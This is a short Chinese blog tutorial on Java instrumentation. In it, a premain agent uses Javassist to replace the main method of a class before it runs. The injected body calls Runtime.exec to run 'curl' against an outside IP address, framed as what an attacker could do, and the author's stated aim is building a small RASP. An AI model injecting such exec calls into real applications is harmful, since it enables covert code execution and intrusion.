初识Javassist-修改函数内容

前言

上一篇文章我们能够在main函数之前加载premain函数了,那么我们是否可以利用这个特性来对函数内容进行修改呢

实现

1
2
3
4
5
6
7
8
9
10
11

public class Test {
public static void main(String[] args){
System.out.println("test123");
new Sayhello().sayhello();
}
public void doSomething(){
System.out.println("do Something test");
}
}

1
2
3
4
5
6
public class Sayhello {
public void sayhello(){
System.out.println("hello");
}
}

正常运行效果8e8e62943456fdd2879c01a3cb0f4707.png
那么假如攻击者要利用main函数里面的某些逻辑实现攻击,我们就可以在执行main函数之前修改main函数的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package com.l1m3.premainagent.demo;
import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;


public class PremainAgent {
public static void premain(String arg, Instrumentation instrumentation) {
System.err.println("agent startup , args is " + arg);
Class<?>[] cLasses = instrumentation.getAllLoadedClasses();
for (Class<?> cls : cLasses) {

//System.out.println("PreMainAgent get loaded class:" + cls.getName());
}
instrumentation.addTransformer(new ClassFileTransformer() {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) throws IllegalClassFormatException {
if (className!=null&&className.replaceAll("/", ".").equals("Test") ){
ClassPool pool = new ClassPool();
pool.insertClassPath(new LoaderClassPath(loader));
try {
System.out.println("执行 增加函数");
CtClass ctClass = pool.get(className.replaceAll("/", "\\."));
CtMethod ctMethod = ctClass.getDeclaredMethod("main");
CtMethod[] arrays = ctClass.getDeclaredMethods();
for(int i=0;i<arrays.length;i++)
{
System.out.println(arrays[i]);
}



ctMethod.setBody("{\n" +
" Runtime runtime = Runtime.getRuntime();\n" +
" runtime.exec(\"curl 120.79.197.4:82\");\n" +
" }");
ctMethod.insertBefore("System.out.println(System.currentTimeMillis());");

return ctClass.toBytecode();
} catch (NotFoundException e) {
e.printStackTrace();
} catch (CannotCompileException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}

}
return null;
}
});
}

}

设置vmoption后执行,效果如下
c87df7748c7c839b126a404108e8dfce.png
当然这一切都是为了将来想自己写的小型RASP作准备的,针对不同的漏洞hook不同的类/方法,如何处理函数,以及后续升级都是一段很长的路,简单看过OPENRASP后发现他是利用js来加规则的,我觉得这个特性很有亮点。